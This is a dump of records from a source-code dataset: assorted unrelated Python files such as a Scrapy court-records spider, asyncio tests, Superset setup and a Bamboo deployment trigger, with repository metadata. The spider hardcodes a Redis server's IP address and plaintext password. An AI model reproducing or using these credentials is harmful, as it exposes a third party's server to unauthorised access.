null
null
wenshu/wenshu/spiders/wenshu_spider.py
SCUTJcfeng/ScrapyProjects
ddfceef66ebf7a9d693276249abf6bb84238e2c2
[ "MIT" ]
null
null
null
from scrapy import Spider import requests import redis class WenshuSpider(Spider): name = 'wenshu' def __init__(self): super().__init__() self.r = redis.Redis(host='47.106.136.136', port=6388, password='qazwsx12!@') self.start_urls = [ '' ] def get_code(self,...
32.720588
118
0.501573
from scrapy import Spider import requests import redis class WenshuSpider(Spider): name = 'wenshu' def __init__(self): super().__init__() self.r = redis.Redis(host='47.106.136.136', port=6388, password='qazwsx12!@') self.start_urls = [ '' ] def get_code(self,...
true
true
f74d9e3a487d04986c010faeb7cc71b05fcd3d06
775
py
Python
IO/Exodus/Testing/Python/TestExodusWithNaN.py
satya-arjunan/vtk8
ee7ced57de6d382a2d12693c01e2fcdac350b25f
[ "BSD-3-Clause" ]
1,755
2015-01-03T06:55:00.000Z
2022-03-29T05:23:26.000Z
IO/Exodus/Testing/Python/TestExodusWithNaN.py
satya-arjunan/vtk8
ee7ced57de6d382a2d12693c01e2fcdac350b25f
[ "BSD-3-Clause" ]
29
2015-04-23T20:58:30.000Z
2022-03-02T16:16:42.000Z
IO/Exodus/Testing/Python/TestExodusWithNaN.py
satya-arjunan/vtk8
ee7ced57de6d382a2d12693c01e2fcdac350b25f
[ "BSD-3-Clause" ]
1,044
2015-01-05T22:48:27.000Z
2022-03-31T02:38:26.000Z
#!/usr/bin/env python # This test loads an Exodus file with NaNs and we test that the vtkDataArray # returns a correct range for the array with NaNs i.e. not including the NaN. from vtk import * from vtk.util.misc import vtkGetDataRoot VTK_DATA_ROOT = vtkGetDataRoot() rdr = vtkExodusIIReader() rdr.SetFileName(str(VTK_...
36.904762
79
0.745806
from vtk import * from vtk.util.misc import vtkGetDataRoot VTK_DATA_ROOT = vtkGetDataRoot() rdr = vtkExodusIIReader() rdr.SetFileName(str(VTK_DATA_ROOT) + "/Data/cyl_with_NaN.g") rdr.UpdateInformation() rdr.SetPointResultArrayStatus("dist_from_origin", 1); rdr.Update() data = rdr.GetOutput().GetBlock(0).GetBlock(0) ...
true
true
f74da1b0b8d2fad4fb76e3d20b4d531592888653
1,924
py
Python
lib/setup.py
AlphaJia/faster-rcnn.pytorch
b79a83c84f083495e2edb1a55a970946cb59add2
[ "MIT" ]
null
null
null
lib/setup.py
AlphaJia/faster-rcnn.pytorch
b79a83c84f083495e2edb1a55a970946cb59add2
[ "MIT" ]
null
null
null
lib/setup.py
AlphaJia/faster-rcnn.pytorch
b79a83c84f083495e2edb1a55a970946cb59add2
[ "MIT" ]
null
null
null
# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved. # !/usr/bin/env python import glob import os import torch from setuptools import find_packages from setuptools import setup from torch.utils.cpp_extension import CUDAExtension from torch.utils.cpp_extension import CUDA_HOME from torch.utils.cpp_e...
28.294118
73
0.669958
import glob import os import torch from setuptools import find_packages from setuptools import setup from torch.utils.cpp_extension import CUDAExtension from torch.utils.cpp_extension import CUDA_HOME from torch.utils.cpp_extension import CppExtension requirements = ["torch", "torchvision"] def get_extensions(): ...
true
true
f74da1b8a50d2df6d94fca70f6942d23f054ad0d
22,720
py
Python
superset/app.py
IronOnet/incubator-superset
2a447ff46619d5193cde6f1eb1acc6781dcee056
[ "Apache-2.0" ]
2
2021-10-31T01:05:28.000Z
2021-11-08T09:43:27.000Z
superset/app.py
IronOnet/incubator-superset
2a447ff46619d5193cde6f1eb1acc6781dcee056
[ "Apache-2.0" ]
null
null
null
superset/app.py
IronOnet/incubator-superset
2a447ff46619d5193cde6f1eb1acc6781dcee056
[ "Apache-2.0" ]
null
null
null
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not u...
34.846626
88
0.594674
import logging import os from typing import Any, Callable, Dict import wtforms_json from flask import Flask, redirect from flask_appbuilder import expose, IndexView from flask_babel import gettext as __, lazy_gettext as _ from flask_compress import Compress from superset.connectors.connector_registry import Connecto...
true
true
f74da1bafcc1a43d9c99e681731c4296fafbefbb
189
py
Python
openwisp_ipam/management/commands/export_subnet.py
nepython/openwisp-ipam
43a6fd6c710ef5be3b324412bb9a479572f0d5d4
[ "BSD-3-Clause" ]
1
2021-07-20T22:27:21.000Z
2021-07-20T22:27:21.000Z
openwisp_ipam/management/commands/export_subnet.py
nepython/openwisp-ipam
43a6fd6c710ef5be3b324412bb9a479572f0d5d4
[ "BSD-3-Clause" ]
null
null
null
openwisp_ipam/management/commands/export_subnet.py
nepython/openwisp-ipam
43a6fd6c710ef5be3b324412bb9a479572f0d5d4
[ "BSD-3-Clause" ]
null
null
null
import swapper from django_ipam.management.commands import BaseExportSubnetCommand class Command(BaseExportSubnetCommand): subnet_model = swapper.load_model('django_ipam', 'Subnet')
23.625
67
0.825397
import swapper from django_ipam.management.commands import BaseExportSubnetCommand class Command(BaseExportSubnetCommand): subnet_model = swapper.load_model('django_ipam', 'Subnet')
true
true
f74da265d5cd073f205281459307f62f20819494
4,173
py
Python
conanfile.py
n-bes/daggy
5e6f4603eb78fc518166e3559bfc05b6a70d5946
[ "MIT" ]
null
null
null
conanfile.py
n-bes/daggy
5e6f4603eb78fc518166e3559bfc05b6a70d5946
[ "MIT" ]
null
null
null
conanfile.py
n-bes/daggy
5e6f4603eb78fc518166e3559bfc05b6a70d5946
[ "MIT" ]
null
null
null
''' MIT License Copyright (c) 2020 Mikhail Milovidov Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publ...
37.258929
105
0.653007
from conans import ConanFile, CMake from git_version import GitVersion class DaggyConan(ConanFile): name = "daggy" license = "MIT" url = "https://daggy.dev" description = "Data Aggregation Utilty - aggregation and stream data via remote and local processes." settings = "os", "compiler", "build_typ...
true
true
f74da4b55b586ce2c760fb0f26e872cc72b50873
26,581
py
Python
DOE_functions.py
danielaeblancoj/Design-of-experiment-Python
541c00a96fad4a9ef074c4fb4dde9c65a5deb20d
[ "MIT" ]
179
2018-06-30T00:58:43.000Z
2022-03-04T02:32:22.000Z
DOE_functions.py
danielaeblancoj/Design-of-experiment-Python
541c00a96fad4a9ef074c4fb4dde9c65a5deb20d
[ "MIT" ]
6
2018-11-10T18:50:39.000Z
2020-11-11T21:11:01.000Z
DOE_functions.py
danielaeblancoj/Design-of-experiment-Python
541c00a96fad4a9ef074c4fb4dde9c65a5deb20d
[ "MIT" ]
77
2018-07-02T03:00:18.000Z
2022-03-24T01:36:12.000Z
#==================== # Essential imports #==================== from pyDOE import * from pyDOE_corrected import * from diversipy import * import pandas as pd import numpy as np # =========================================================================================================== # Function for constructing a Da...
48.505474
448
0.633686
from pyDOE import * from pyDOE_corrected import * from diversipy import * import pandas as pd import numpy as np def construct_df(x,r): df=pd.DataFrame(data=x,dtype='float32') for i in df.index: for j in range(len(list(df.iloc[i]))): df.iloc[i][j]=r[j][int(df.iloc[i][j])] return df d...
true
true
f74da55840e6d8bba82a3c587516e4c8096c51c1
819
py
Python
app/core/tests/test_commands.py
jingr1986/recipie-app-api
74e9b7efb52ddda97bd3f3af715f024ebbe403ad
[ "MIT" ]
null
null
null
app/core/tests/test_commands.py
jingr1986/recipie-app-api
74e9b7efb52ddda97bd3f3af715f024ebbe403ad
[ "MIT" ]
null
null
null
app/core/tests/test_commands.py
jingr1986/recipie-app-api
74e9b7efb52ddda97bd3f3af715f024ebbe403ad
[ "MIT" ]
null
null
null
from unittest.mock import patch from django.core.management import call_command from django.db.utils import OperationalError from django.test import TestCase class CommandTest(TestCase): def test_wait_for_db_ready(self): """test waiting for db when db is available""" with patch('django.db.utils....
34.125
74
0.677656
from unittest.mock import patch from django.core.management import call_command from django.db.utils import OperationalError from django.test import TestCase class CommandTest(TestCase): def test_wait_for_db_ready(self): with patch('django.db.utils.ConnectionHandler.__getitem__') as gi: gi.r...
true
true
f74da583b4800e330a945d2a628f16bafed862c3
771
py
Python
docker-python3-flask-ml-app/app/keras_mnist/kerasPredict.py
kidakoji/ImgRecogRecipe
7082f95f61205a2bb23110e2924bcdba1695bf1c
[ "MIT" ]
30
2019-06-06T11:20:27.000Z
2022-01-11T05:58:14.000Z
app/keras_mnist/kerasPredict.py
kawashimaken/docker-python3-flask-ml-app
14b9dec4d581c0109539f96072d883ec4f9d64a1
[ "MIT" ]
3
2020-09-29T10:15:06.000Z
2021-06-09T03:09:24.000Z
app/keras_mnist/kerasPredict.py
kawashimaken/docker-python3-flask-ml-app
14b9dec4d581c0109539f96072d883ec4f9d64a1
[ "MIT" ]
27
2019-07-27T12:54:28.000Z
2022-01-09T12:25:22.000Z
# -*- coding: utf-8 -*- # ----------------------------------------------------------------------------- # # import os import numpy as np from keras import backend as Keras from keras.models import load_model # ----------------------------------------------------------------------------- # Keras.clear_session() # 学習済み...
27.535714
79
0.590143
import os import numpy as np from keras import backend as Keras from keras.models import load_model Keras.clear_session() keras_mnist_model = load_model( os.path.abspath(os.path.dirname(__file__)) + '/keras-mnist-model.h5') keras_mnist_model._make_predict_function() keras_mnist_model.summary() print('Keras MNIST...
true
true
f74da5d5eab831d4a81b00a89e2df1e0179341b2
1,370
py
Python
plugins/rapid7_intsights/icon_rapid7_intsights/actions/takedown_request/schema.py
lukaszlaszuk/insightconnect-plugins
8c6ce323bfbb12c55f8b5a9c08975d25eb9f8892
[ "MIT" ]
null
null
null
plugins/rapid7_intsights/icon_rapid7_intsights/actions/takedown_request/schema.py
lukaszlaszuk/insightconnect-plugins
8c6ce323bfbb12c55f8b5a9c08975d25eb9f8892
[ "MIT" ]
null
null
null
plugins/rapid7_intsights/icon_rapid7_intsights/actions/takedown_request/schema.py
lukaszlaszuk/insightconnect-plugins
8c6ce323bfbb12c55f8b5a9c08975d25eb9f8892
[ "MIT" ]
null
null
null
# GENERATED BY KOMAND SDK - DO NOT EDIT import insightconnect_plugin_runtime import json class Component: DESCRIPTION = "Request a takedown for a given alert in IntSights" class Input: ALERT_ID = "alert_id" TARGET = "target" class Output: STATUS = "status" class TakedownRequestInput(insi...
18.266667
69
0.562044
import insightconnect_plugin_runtime import json class Component: DESCRIPTION = "Request a takedown for a given alert in IntSights" class Input: ALERT_ID = "alert_id" TARGET = "target" class Output: STATUS = "status" class TakedownRequestInput(insightconnect_plugin_runtime.Input): sc...
true
true
f74da76c22d73d62a803d1639e2af3706b0b18c8
8,173
py
Python
spacy_pytorch_transformers/language.py
kormilitzin/spacy-pytorch-transformers
c5bf20ab502abc585e6963793baccf2a0804e435
[ "MIT" ]
null
null
null
spacy_pytorch_transformers/language.py
kormilitzin/spacy-pytorch-transformers
c5bf20ab502abc585e6963793baccf2a0804e435
[ "MIT" ]
null
null
null
spacy_pytorch_transformers/language.py
kormilitzin/spacy-pytorch-transformers
c5bf20ab502abc585e6963793baccf2a0804e435
[ "MIT" ]
1
2022-02-15T10:37:17.000Z
2022-02-15T10:37:17.000Z
from spacy.language import Language from spacy.tokens import Doc, Span, Token from spacy.util import get_lang_class from spacy.gold import GoldParse from .util import is_special_token from . import about class PyTT_Language(Language): """A subclass of spacy.Language that holds a PyTorch-Transformer (PyTT) pipeli...
36.815315
90
0.635018
from spacy.language import Language from spacy.tokens import Doc, Span, Token from spacy.util import get_lang_class from spacy.gold import GoldParse from .util import is_special_token from . import about class PyTT_Language(Language): lang_factory_name = "pytt" @staticmethod def install_extensions(): ...
true
true
f74da7be8f04d9df50a6d4d87b56df52ebc47ee9
1,299
py
Python
2016/22.py
bernikr/advent-of-code
331e5257b9f812776d0723c7cdec349770498d34
[ "MIT" ]
1
2020-12-06T13:07:55.000Z
2020-12-06T13:07:55.000Z
2016/22.py
bernikr/advent-of-code
331e5257b9f812776d0723c7cdec349770498d34
[ "MIT" ]
null
null
null
2016/22.py
bernikr/advent-of-code
331e5257b9f812776d0723c7cdec349770498d34
[ "MIT" ]
null
null
null
import re from itertools import product, count from aoc_utils import Vec, dirs4 from aocd import get_data def part1(inp): return sum(c1 != c2 and u1 != 0 and u1 <= a2 for (c1, (u1, a1)), (c2, (u2, a2)) in product(inp.items(), repeat=2)) def part2(inp): mapp = inp.copy() hole, holecap = next((c, a) for ...
31.682927
118
0.455735
import re from itertools import product, count from aoc_utils import Vec, dirs4 from aocd import get_data def part1(inp): return sum(c1 != c2 and u1 != 0 and u1 <= a2 for (c1, (u1, a1)), (c2, (u2, a2)) in product(inp.items(), repeat=2)) def part2(inp): mapp = inp.copy() hole, holecap = next((c, a) for ...
true
true
f74da80022086e2e3046d153df52948995258561
311
py
Python
alpyro_msgs/rospy_tutorials/floats.py
rho2/alpyro_msgs
b5a680976c40c83df70d61bb2db1de32a1cde8d3
[ "MIT" ]
1
2020-12-13T13:07:10.000Z
2020-12-13T13:07:10.000Z
alpyro_msgs/rospy_tutorials/floats.py
rho2/alpyro_msgs
b5a680976c40c83df70d61bb2db1de32a1cde8d3
[ "MIT" ]
null
null
null
alpyro_msgs/rospy_tutorials/floats.py
rho2/alpyro_msgs
b5a680976c40c83df70d61bb2db1de32a1cde8d3
[ "MIT" ]
null
null
null
from typing import List from typing_extensions import Annotated from alpyro_msgs import RosMessage, float32 class Floats(RosMessage): __msg_typ__ = "rospy_tutorials/Floats" __msg_def__ = "ZmxvYXQzMltdIGRhdGEKCg==" __md5_sum__ = "420cd38b6b071cd49f2970c3e2cee511" data: Annotated[List[float32], 0, 0]
25.916667
50
0.800643
from typing import List from typing_extensions import Annotated from alpyro_msgs import RosMessage, float32 class Floats(RosMessage): __msg_typ__ = "rospy_tutorials/Floats" __msg_def__ = "ZmxvYXQzMltdIGRhdGEKCg==" __md5_sum__ = "420cd38b6b071cd49f2970c3e2cee511" data: Annotated[List[float32], 0, 0]
true
true
f74da863b2dfad99e38dafb6ff0c767d21cb6c82
5,194
py
Python
tests/class/test_class.py
AntoniosHadji/pylox
906338bf44de92e66c4e7805059ad060dfd52ff3
[ "MIT" ]
null
null
null
tests/class/test_class.py
AntoniosHadji/pylox
906338bf44de92e66c4e7805059ad060dfd52ff3
[ "MIT" ]
null
null
null
tests/class/test_class.py
AntoniosHadji/pylox
906338bf44de92e66c4e7805059ad060dfd52ff3
[ "MIT" ]
null
null
null
import subprocess EXPECT_FAIL_65 = [ 'prefix_operator', 'grouping', 'infix_operator', 'to_this', 'inherit_self', 'local_inherit_self', 'return_value', 'parenthesized_superclass', 'missing_argument', 'var_in_body', 'fun_in_body', 'class_in_body', 'trailing_dot', '...
31.670732
116
0.702349
import subprocess EXPECT_FAIL_65 = [ 'prefix_operator', 'grouping', 'infix_operator', 'to_this', 'inherit_self', 'local_inherit_self', 'return_value', 'parenthesized_superclass', 'missing_argument', 'var_in_body', 'fun_in_body', 'class_in_body', 'trailing_dot', '...
true
true
f74da9c0578cf9a67d2a2df70098021ece44c62c
3,825
py
Python
src/main/resources/bamboo/TriggerDeployment.py
xebialabs-community/xlr-bamboo-plugin
082fc1846b937c5af4085d504bdb76534de4d9fc
[ "MIT" ]
2
2017-03-05T11:07:04.000Z
2019-09-26T17:04:22.000Z
src/main/resources/bamboo/TriggerDeployment.py
xebialabs-community/xlr-bamboo-plugin
082fc1846b937c5af4085d504bdb76534de4d9fc
[ "MIT" ]
8
2017-10-14T15:54:45.000Z
2021-09-30T13:39:35.000Z
src/main/resources/bamboo/TriggerDeployment.py
xebialabs-community/xlr-bamboo-plugin
082fc1846b937c5af4085d504bdb76534de4d9fc
[ "MIT" ]
4
2016-04-30T08:36:28.000Z
2021-12-27T09:29:14.000Z
# #Copyright 2020 XEBIALABS # #Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublice...
56.25
462
0.753987
import sys import time import com.xhaus.jyson.JysonCodec as json print "Executing triggerBambooDeployment.py\n" if bambooServer is None: print "No server provided." sys.exit(1) contentType = 'application/json' headers = {'accept' : 'application/json'} def getProjectId(projectName): print "Executing getProje...
false
true
f74daacbbafff8ca7db1d9ff53041d2a7501831c
1,191
py
Python
htag/runners/__init__.py
manatlan/thag
0c57a103a8dbdbf9e1f09c759f1c35c1c3eff359
[ "MIT" ]
1
2022-03-12T09:42:13.000Z
2022-03-12T09:42:13.000Z
htag/runners/__init__.py
manatlan/thag
0c57a103a8dbdbf9e1f09c759f1c35c1c3eff359
[ "MIT" ]
null
null
null
htag/runners/__init__.py
manatlan/thag
0c57a103a8dbdbf9e1f09c759f1c35c1c3eff359
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # ############################################################################# # Copyright (C) 2022 manatlan manatlan[at]gmail(dot)com # # MIT licence # # https://github.com/manatlan/htag # ############################################################################# # mono instance from .brow...
31.342105
171
0.633921
from .browserhttp import BrowserHTTP from .pyscript import PyScript try: from .browserstarlettehttp import BrowserStarletteHTTP from .browserstarlettews import BrowserStarletteWS from .webhttp import WebHTTP except ImportError: print("**WARNING** Runners 'BrowserStarletteHTTP','BrowserStarle...
true
true
f74dab577042e68b31ea2e93553c8adf6ffc5042
74
py
Python
medgpc/visualization/__init__.py
bee-hive/MedGP
596a24ca519900507cce42cb4e2061319cef801e
[ "BSD-3-Clause" ]
25
2018-03-18T18:09:03.000Z
2022-02-24T07:47:33.000Z
medgpc/visualization/__init__.py
bee-hive/MedGP
596a24ca519900507cce42cb4e2061319cef801e
[ "BSD-3-Clause" ]
3
2021-04-12T16:11:00.000Z
2021-04-12T16:26:17.000Z
medgpc/visualization/__init__.py
bee-hive/MedGP
596a24ca519900507cce42cb4e2061319cef801e
[ "BSD-3-Clause" ]
4
2019-04-27T23:18:26.000Z
2021-12-03T20:19:09.000Z
from . import fastkernel from . import vizkernel from . import printkernel
24.666667
25
0.810811
from . import fastkernel from . import vizkernel from . import printkernel
true
true
f74dab8eed49925367d25354ef9ec895cdce0fc7
849
py
Python
pymarkdownlint/tests/test_lint.py
atraining/pymarkdownlint
c1044e25e18afd78b3fda8fd9b00a4f67cfbbc65
[ "MIT" ]
8
2016-01-26T10:48:46.000Z
2020-07-16T08:15:33.000Z
pymarkdownlint/tests/test_lint.py
atraining/pymarkdownlint
c1044e25e18afd78b3fda8fd9b00a4f67cfbbc65
[ "MIT" ]
5
2016-04-11T13:53:09.000Z
2021-04-30T06:58:03.000Z
pymarkdownlint/tests/test_lint.py
atraining/pymarkdownlint
c1044e25e18afd78b3fda8fd9b00a4f67cfbbc65
[ "MIT" ]
10
2016-09-14T15:01:54.000Z
2021-11-10T16:55:42.000Z
from pymarkdownlint.tests.base import BaseTestCase from pymarkdownlint.lint import MarkdownLinter from pymarkdownlint.rules import RuleViolation from pymarkdownlint.config import LintConfig class RuleOptionTests(BaseTestCase): def test_lint(self): linter = MarkdownLinter(LintConfig()) sample = se...
44.684211
97
0.639576
from pymarkdownlint.tests.base import BaseTestCase from pymarkdownlint.lint import MarkdownLinter from pymarkdownlint.rules import RuleViolation from pymarkdownlint.config import LintConfig class RuleOptionTests(BaseTestCase): def test_lint(self): linter = MarkdownLinter(LintConfig()) sample = se...
true
true
f74dabc2db9458544686c9fcdca34b2b268d7e9e
80,315
py
Python
Lib/test/test_asyncio/test_base_events.py
shawwn/cpython
0ff8a3b374286d2218fc18f47556a5ace202dad3
[ "0BSD" ]
27
2020-10-06T14:38:02.000Z
2022-03-14T22:52:07.000Z
Lib/test/test_asyncio/test_base_events.py
shawwn/cpython
0ff8a3b374286d2218fc18f47556a5ace202dad3
[ "0BSD" ]
17
2018-01-26T13:23:58.000Z
2022-03-01T13:44:36.000Z
Lib/test/test_asyncio/test_base_events.py
shawwn/cpython
0ff8a3b374286d2218fc18f47556a5ace202dad3
[ "0BSD" ]
8
2020-10-06T14:38:08.000Z
2022-01-12T14:29:46.000Z
"""Tests for base_events.py""" import concurrent.futures import errno import math import socket import sys import threading import time import unittest from unittest import mock import asyncio from asyncio import base_events from asyncio import constants from test.test_asyncio import utils as test_utils from test imp...
37.131299
91
0.612538
import concurrent.futures import errno import math import socket import sys import threading import time import unittest from unittest import mock import asyncio from asyncio import base_events from asyncio import constants from test.test_asyncio import utils as test_utils from test import support from test.support.s...
true
true
f74dac4b9692d49d454cf8ebd5b56e63d89ba6b0
226
py
Python
Jumpscale/clients/google_compute/GoogleComputeFactory.py
threefoldtech/JumpscaleX
5fb073a82aeb0e66fc7d9660c45a1e31bc094bfa
[ "Apache-2.0" ]
2
2019-05-09T07:21:25.000Z
2019-08-05T06:37:53.000Z
Jumpscale/clients/google_compute/GoogleComputeFactory.py
threefoldtech/JumpscaleX
5fb073a82aeb0e66fc7d9660c45a1e31bc094bfa
[ "Apache-2.0" ]
664
2018-12-19T12:43:44.000Z
2019-08-23T04:24:42.000Z
Jumpscale/clients/google_compute/GoogleComputeFactory.py
threefoldtech/jumpscale10
5fb073a82aeb0e66fc7d9660c45a1e31bc094bfa
[ "Apache-2.0" ]
7
2019-05-03T07:14:37.000Z
2019-08-05T12:36:52.000Z
from .GoogleCompute import GoogleCompute from Jumpscale import j JSBASE = j.application.JSFactoryBaseClass class GoogleComputeFactory(JSBASE): __jslocation__ = "j.clients.google_compute" _CHILDCLASS = GoogleCompute
22.6
47
0.809735
from .GoogleCompute import GoogleCompute from Jumpscale import j JSBASE = j.application.JSFactoryBaseClass class GoogleComputeFactory(JSBASE): __jslocation__ = "j.clients.google_compute" _CHILDCLASS = GoogleCompute
true
true